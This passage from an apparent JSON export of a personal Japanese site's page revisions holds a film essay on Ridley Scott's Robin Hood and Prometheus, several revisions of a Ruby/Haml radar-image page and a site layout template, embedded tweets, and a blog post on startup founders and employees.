僕が極めつけだと思ったのがマグナカルタが発布されるシーンで、このシーンで権利を認められるのは史実通り「貴族のみ」ですし、マグナカルタ自体失態を重ねたジョンが貴族を懐柔する為に苦し紛れに出した、というのが比較的冷静に描かれています。\r\n\r\nこれを纏めると、この映画では「イギリス的なおとぎ話や正義」というものが徹底的に否定、破壊することが主眼に置かれているのではないかと思えてきます。イギリス人よ目を覚ませ、お前達が信じているものはゴミだ、というような具合。\r\n\r\n誰が見ても面白い気持ちのよい娯楽大作だったグラディエイターとは大分違うのではないかと思います。そしてグラディエイターと比較すればグラディエイターの方が面白いと考える人が多いのではないかと思います。イギリス人にしてみればこんなものは不快でしかないし、イギリス人以外にしてみればロビン・フッドやライオンハートやマグナカルタなんて知った話じゃありません。\r\n\r\n### エイリアン、ブレードランナー、松田優作、ソマリア人、イスラム教徒、プロメテウス\r\nエイリアンにおいて真の悪役がロボットと日本人だったことはファンには広く知られる事実です。ブレードランナーにおいても「強力わかもと」の看板にはじまり、「日本人の作ったメシを食うしょぼくれたアメリカ人」が「戦いの末にコカコーラの看板の下で立派な男になりレイチェルと結ばれる」というストーリーの骨子といい、悪役タイレルのいかにも日本人的な外見、価値観といい、日本人への蔑視と恐怖を感じます。\r\n\r\nこうしたリドリーの日本人への蔑視と恐怖はブラック・レインによって完全に解消されたことが伺えます。非欧米人というもっと広げた視点で見てみれば、ブラックホーク・ダウンにおけるソマリア人の描写やキングダム・オブ・ヘヴンにおけるサラーフ・アッ・ディーンの英雄的な描写などから、非常に広範で公平な視点を得られたことが伺えます。\r\n\r\nではエイリアンの続編、プロメテウスにおいては、こうした流れを踏襲し、アジア人とロボットは好ましい、善なる存在として描かれます。こうした善なる存在と相対するスペースジョッキーやエイリアンらはその善悪すら作中では明確に描かれていません。\r\n\r\nまたスペースジョッキーや巨大なフェイスハガーに男性器的な特徴が見られないというのもこの映画における特筆すべき点なのではないかと思います。\r\n\r\nエイリアンとプロメテウスを比較した時にストーリーの整合性という点ではどっちも正直微妙という感じですし、ビジュアルや映像という点では共に時代最高峰の水準と言えるのではないかと思います。結局のところエイリアンとプロメテウスの最大の差は「アジア人やロボットへの恐怖、男性器の力」という明確なテーマがエイリアンには存在し、プロメテウスには存在しないという点なのではないかと思います。\r\n\r\nまあようはシャーリーズ・セロンやガイ・ピアースではキャラが立ってないということです。\r\n\r\n### 正義や悪の不在\r\n物語において、正義と悪が明確に分かれているというのは面白さを保証する重要なポイントなのではないかと思います。現実に正義と悪が明確に分けることは出来ないのだからなどと口で言ったところで正義も悪も存在しない物語を描く為には、正義も悪も超越した絶対的な何か(それは物語のテーマかもしれないし、筆力/画力/演出力かもしれないし、演者や作画者の圧倒的な技量かもしれません)が必要なのではないでしょうか。\r\n\r\nロビン・フッドには正義が不在で、プロメテウスには悪が不在です。そしてこれらの映画はキングダム・オブ・ヘヴンのようにそれを圧倒するテーマ性があるわけでもなく、ブラックホーク・ダウンのように圧倒的な戦闘の迫力があるわけでもない(そしてキングダム・オブ・ヘヴンにせよブラックホーク・ダウンにせよあれらの映画で用いられた手段は二度と使えるものではありません)。\r\n\r\nリドリー・スコットはかつて英米欧的な正義を絶対的に信じていたように思えます。有名な Apple の CM 元ネタからして共産ロシアへの嫌悪が背景にあるわけですし、エイリアンやブレードランナーには日本人への恐怖と蔑視がある。映像に圧倒的に傾き分かりづらい彼の映画には実はそういう背骨があるからこそ世に受け入れられたのではないかと思います。その彼がここ十数年ほどは正義と悪の在処に延々と悩み続けるような映画を作っているというのは監督の人格的な成長を感じるところではあります。\r\n\r\nしかし創作物の面白さというのは創作者の人格的成長と比例するものではありません。むしろ反比例することもある。\r\n\r\nリドリー・スコットが劣化したといえば、確かにそういう面はあるかもしれません。しかし彼は粗悪な自己模倣を繰り返しているのではなく、自己模倣の形を取った自己否定を繰り返しているのではないかと僕は思います。","created_at":"2012-09-29T06:34:51.000Z","updated_at":"2012-09-29T06:34:51.000Z"},{"id":2183,"name":"text/プロメテウスの感想、あるいは何故リドリー・スコットは劣化したのか","body":"%blog%\r\n\r\nプロメテウスの感想はまあいいや。 CM に騙された人は御愁傷様ということで。\r\n\r\n僕はプロメテウスを見たのがそもそも[二ヶ月以上前](http://text.ssig33.com/104)のことなので割ともういろいろ忘れてます、人類もエイリアンもスペースジョッキーに作られてたんや!!みたいのはまあ覚えてるんですが。\r\n\r\nんでもって、\r\n\r\n- ロビン・フッドはグラディエイターの焼き直し\r\n- プロメテウスはエイリアンの焼き直し\r\n- よってリドリー・スコットはもう完全に糞、ブレードランナーも絶対見んわ\r\n\r\nみたいな意見を比較的よく見る気がします。ただそれはちょっと違うんじゃないかなーと思うわけです。\r\n\r\n### グラディエイターとロビン・フッドはどう違うか?\r\nグラディエイターはよくも悪くも剣とサンダル映画の到達点と言えるのではないかと思います。主人公マキシマムの復讐は作中において全く正当なものと扱われます。トラウマを振り翳すグロテスクないかにもリドリー・スコット的人物コモドゥスは、副主人公的な人物ではありますが、あくまで悪役でしかない。コモドゥスは何一つ得るものもなく罵倒の中コロシアムに倒れる。\r\n\r\nグラディエイターは勧善懲悪のエンターテイメント超大作と言えるでしょう。\r\n\r\n翻ってロビン・フッドはどうか。この映画はまず時系列の上で明確にキングダム・オブ・ヘヴンの続編として描かれています。キングダム・オブ・ヘヴンは御存知の通り十字軍の大義を徹底的に批判した映画です。よってその流れを汲む本作ではライオンハートは徹底した悪役として描かれます。\r\n\r\nライオンハートが悪役ならば、失地王ジョンはどうなのか、尊厳王フィリップはどうなのか。これも悪役として描かれています。ジョンはコモドゥス的な柔弱なのろまにすぎません。フィリップは侵略を企む邪悪な策士として描かれる。\r\n\r\nではこれら時代の王が悪役ならば、ロビン・フッドはどうなのか。ロビン・フッドの印象はあまり作中で残るものではなく、時代に抗おうとするも結局は時代に流される森の民というような印象しか残りません。\r\n\r\nそして僕が極めつけだと思ったのがマグナカルタが発布されるシーンで、このシーンで権利を認められるのは史実通り「貴族のみ」ですし、マグナカルタ自体失態を重ねたジョンが貴族を懐柔する為に苦し紛れに出した、というのが比較的冷静に描かれています。\r\n\r\nこれを纏めると、この映画では「イギリス的なおとぎ話や正義」というものが徹底的に否定、破壊することが主眼に置かれているのではないかと思えてきます。イギリス人よ目を覚ませ、お前達が信じているものはゴミだ、というような具合。\r\n\r\n誰が見ても面白い気持ちのよい娯楽大作だったグラディエイターとは大分違うのではないかと思います。そしてグラディエイターと比較すればグラディエイターの方が面白いと考える人が多いのではないかと思います。イギリス人にしてみればこんなものは不快でしかないし、イギリス人以外にしてみればロビン・フッドやライオンハートやマグナカルタなんて知った話じゃありません。\r\n\r\n### エイリアン、ブレードランナー、松田優作、ソマリア人、イスラム教徒、プロメテウス\r\nエイリアンにおいて真の悪役がロボットと日本人だったことはファンには広く知られる事実です。ブレードランナーにおいても「強力わかもと」の看板にはじまり、「日本人の作ったメシを食うしょぼくれたアメリカ人」が「戦いの末にコカコーラの看板の下で立派な男になりレイチェルと結ばれる」というストーリーの骨子といい、悪役タイレルのいかにも日本人的な外見、価値観といい、日本人への蔑視と恐怖を感じます。\r\n\r\nこうしたリドリーの日本人への蔑視と恐怖はブラック・レインによって完全に解消されたことが伺えます。非欧米人というもっと広げた視点で見てみれば、ブラックホーク・ダウンにおけるソマリア人の描写やキングダム・オブ・ヘヴンにおけるサラーフ・アッ・ディーンの英雄的な描写などから、非常に広範で公平な視点を得られたことが伺えます。\r\n\r\nではエイリアンの続編、プロメテウスにおいては、こうした流れを踏襲し、アジア人とロボットは好ましい、善なる存在として描かれます。こうした善なる存在と相対するスペースジョッキーやエイリアンらはその善悪すら作中では明確に描かれていません。\r\n\r\nまたスペースジョッキーや巨大なフェイスハガーに男性器的な特徴が見られないというのもこの映画における特筆すべき点なのではないかと思います。\r\n\r\nエイリアンとプロメテウスを比較した時にストーリーの整合性という点ではどっちも正直微妙という感じですし、ビジュアルや映像という点では共に時代最高峰の水準と言えるのではないかと思います。結局のところエイリアンとプロメテウスの最大の差は「アジア人やロボットへの恐怖、男性器の力」という明確なテーマがエイリアンには存在し、プロメテウスには存在しないという点なのではないかと思います。\r\n\r\nまあようはシャーリーズ・セロンやガイ・ピアースではキャラが立ってないということです。\r\n\r\n### 正義や悪の不在\r\n物語において、正義と悪が明確に分かれているというのは面白さを保証する重要なポイントなのではないかと思います。現実に正義と悪が明確に分けることは出来ないのだからなどと口で言ったところで正義も悪も存在しない物語を描く為には、正義も悪も超越した絶対的な何か(それは物語のテーマかもしれないし、筆力/画力/演出力かもしれないし、演者や作画者の圧倒的な技量かもしれません)が必要なのではないでしょうか。\r\n\r\nロビン・フッドには正義が不在で、プロメテウスには悪が不在です。そしてこれらの映画はキングダム・オブ・ヘヴンのようにそれを圧倒するテーマ性があるわけでもなく、ブラックホーク・ダウンのように圧倒的な戦闘の迫力があるわけでもない(そしてキングダム・オブ・ヘヴンにせよブラックホーク・ダウンにせよあれらの映画で用いられた手段は二度と使えるものではありません)。\r\n\r\nリドリー・スコットはかつて英米欧的な正義を絶対的に信じていたように思えます。有名な Apple の CM 元ネタからして共産ロシアへの嫌悪が背景にあるわけですし、エイリアンやブレードランナーには日本人への恐怖と蔑視がある。映像に圧倒的に傾き分かりづらい彼の映画には実はそういう背骨があるからこそ世に受け入れられたのではないかと思います。その彼がここ十数年ほどは正義と悪の在処に延々と悩み続けるような映画を作っているというのは監督の人格的な成長を感じるところではあります。\r\n\r\nしかし創作物の面白さというのは創作者の人格的成長と比例するものではありません。むしろ反比例することもある。\r\n\r\nリドリー・スコットが劣化したといえば、確かにそういう面はあるかもしれません。しかし彼は粗悪な自己模倣を繰り返しているのではなく、自己模倣の形を取った自己否定を繰り返しているのではないかと僕は思います。","created_at":"2012-09-29T06:35:16.000Z","updated_at":"2012-09-29T06:35:16.000Z"},{"id":2184,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\", style: 'width:100%'}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2012-09-30T02:02:59.000Z","updated_at":"2012-09-30T02:02:59.000Z"},{"id":2185,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\", style: 'width:100%; max-height:100%'}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2012-09-30T02:03:49.000Z","updated_at":"2012-09-30T02:03:49.000Z"},{"id":2186,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\", style: 'max-width:100%; max-height:100%'}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2012-09-30T02:04:06.000Z","updated_at":"2012-09-30T02:04:06.000Z"},{"id":2187,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\", style: 'height:100%'}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2012-09-30T02:04:27.000Z","updated_at":"2012-09-30T02:04:27.000Z"},{"id":2188,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2012-09-30T02:05:19.000Z","updated_at":"2012-09-30T02:05:19.000Z"},{"id":2189,"name":"text/ネットアイドルじゃない","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eそういえばフバさんがつつみともよって人を説明する時に「高専界隈でネットアイドル化してる人」って言ってたんだけど、すごい適当な説明だった気がする\u003c/p\u003e— 竹達彩奈(ビッグマン 4L) (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/253036828280639488\" data-datetime=\"2012-10-02T07:40:55+00:00\"\u003eOctober 2, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e酒抜けた今でもきわめて appropriate な表現だと思う\u003c/p\u003e— パソコンマシーン太郎 (@fuba) \u003ca href=\"https://twitter.com/fuba/status/253037160117182464\" data-datetime=\"2012-10-02T07:42:14+00:00\"\u003eOctober 2, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e@\u003ca href=\"https://twitter.com/ttmtmy\"\u003ettmtmy\u003c/a\u003e ネットアイドルなんですか?\u003c/p\u003e— 竹達彩奈(ビッグマン 4L) (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/253036874283773952\" data-datetime=\"2012-10-02T07:41:06+00:00\"\u003eOctober 2, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" \"\u003e\u003cp\u003e@\u003ca href=\"https://twitter.com/ssig33\"\u003essig33\u003c/a\u003e 違いますし妹と同じこと言わないでください…\u003c/p\u003e— tutumitomoyo (@ttmtmy) \u003ca href=\"https://twitter.com/ttmtmy/status/253040324782456832\" data-datetime=\"2012-10-02T07:54:49+00:00\"\u003eOctober 2, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" \"\u003e\u003cp\u003e@\u003ca href=\"https://twitter.com/ttmtmy\"\u003ettmtmy\u003c/a\u003e 申し訳ありません…\u003c/p\u003e— パソコンマシーン太郎 (@fuba) \u003ca href=\"https://twitter.com/fuba/status/253040744380645376\" data-datetime=\"2012-10-02T07:56:29+00:00\"\u003eOctober 2, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eうちのいもうとが 「おねえちゃんはアイドルになりたいのか?」って前にツイートしてた\u003c/p\u003e— tutumitomoyo (@ttmtmy) \u003ca href=\"https://twitter.com/ttmtmy/status/253040812739411970\" data-datetime=\"2012-10-02T07:56:45+00:00\"\u003eOctober 2, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e桐島、ネットアイドルじゃないってよ\u003c/p\u003e— パソコンマシーン太郎 (@fuba) \u003ca href=\"https://twitter.com/fuba/status/253040846222540800\" data-datetime=\"2012-10-02T07:56:53+00:00\"\u003eOctober 2, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\r\n\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n","created_at":"2012-10-02T08:02:27.000Z","updated_at":"2012-10-02T08:02:27.000Z"},{"id":2190,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2012-10-02T08:06:06.000Z","updated_at":"2012-10-02T08:06:06.000Z"},{"id":2191,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2012-10-02T08:07:25.000Z","updated_at":"2012-10-02T08:07:25.000Z"},{"id":2192,"name":"text/ベンチャーについて極めて基本的なこと","body":"%blog%\r\n\r\n本当に基本的なことを書きます。これから書くのは本当に基本的なことです。ですが以下のことへの理解が足りない事例をよく見ます。その結果の悲劇もよく見ます。\r\n\r\n### 経営者の皆さんへ\r\nあなたの会社の社員はあなた程仕事へのモチベーションがありません。あなたが掲げる理念をあなた程信じてもいません。当然です。あなたと同じようにモチベーションがあり、あなたと同じように強烈な信念があれば、あなたと同じように起業するはずです。\r\n\r\nもしあなたが仕事のモチベーションも信念もなく適当に会社を売り抜ければそれでいいなどと考えているならば、あなたのその価値の無い仕事は売り抜けることなど出来ないでしょう。\r\n\r\n経営者の皆さんは起業した自分の理念に命を賭す価値があると信じていることでしょう。実際そうかもしれません。ですがあなたの会社の従業員は給料に見合っただけの労力を提供すればいいと思っています。そんなもんです。社員があなた程仕事をしないのは当然のことです。\r\n\r\n### 労働者の皆さんへ\r\n経営者は大抵非常に強烈な精神力と体力を持っています。経営者が働いているように働いたら身が持ちません。あなたは起業しようと思う意志がありましたか?無いので労働者なわけです。故に経営者達ほど精神力と体力が無い可能性が非常に高いです。\r\n\r\n格闘家が「リングの上で死ぬなら本望だ」と言ったらどうでしょうか。「そんなもんだろう」とあなたは思うのではないでしょうか。経営者は「仕事をしながら死ぬなら本望だ」と考える人達です。それに付き合って死ぬのは馬鹿らしいことです。\r\n\r\n\r\n----\r\n\r\n本当に悲しいことですが、こういうことを理解しない結果発生する行き違いというのを、非常に高頻度に見ます。悲しいことです。","created_at":"2012-10-04T02:53:32.000Z","updated_at":"2012-10-04T02:53:32.000Z"},{"id":2193,"name":"text/ベンチャーについて極めて基本的なこと","body":"%blog%\r\n\r\n本当に基本的なことを書きます。これから書くのは本当に基本的なことです。ですが以下のことへの理解が足りない事例をよく見ます。その結果の悲劇もよく見ます。\r\n\r\n### 経営者の皆さんへ\r\nあなたの会社の社員はあなた程仕事へのモチベーションがありません。あなたが掲げる理念をあなた程信じてもいません。当然です。あなたと同じようにモチベーションがあり、あなたと同じように強烈な信念があれば、あなたと同じように起業するはずです。\r\n\r\nもしあなたが仕事のモチベーションも信念もなく適当に会社を売り抜ければそれでいいなどと考えているならば、あなたのその価値の無い仕事は売り抜けることなど出来ないでしょう。\r\n\r\n経営者の皆さんは起業した自分の理念に命を賭す価値があると信じていることでしょう。実際その価値は本物かもしれません。ですがあなたの会社の従業員は給料に見合っただけの労力を提供すればいいと思っています。そんなもんです。社員があなた程仕事をしないのは当然のことです。\r\n\r\n### 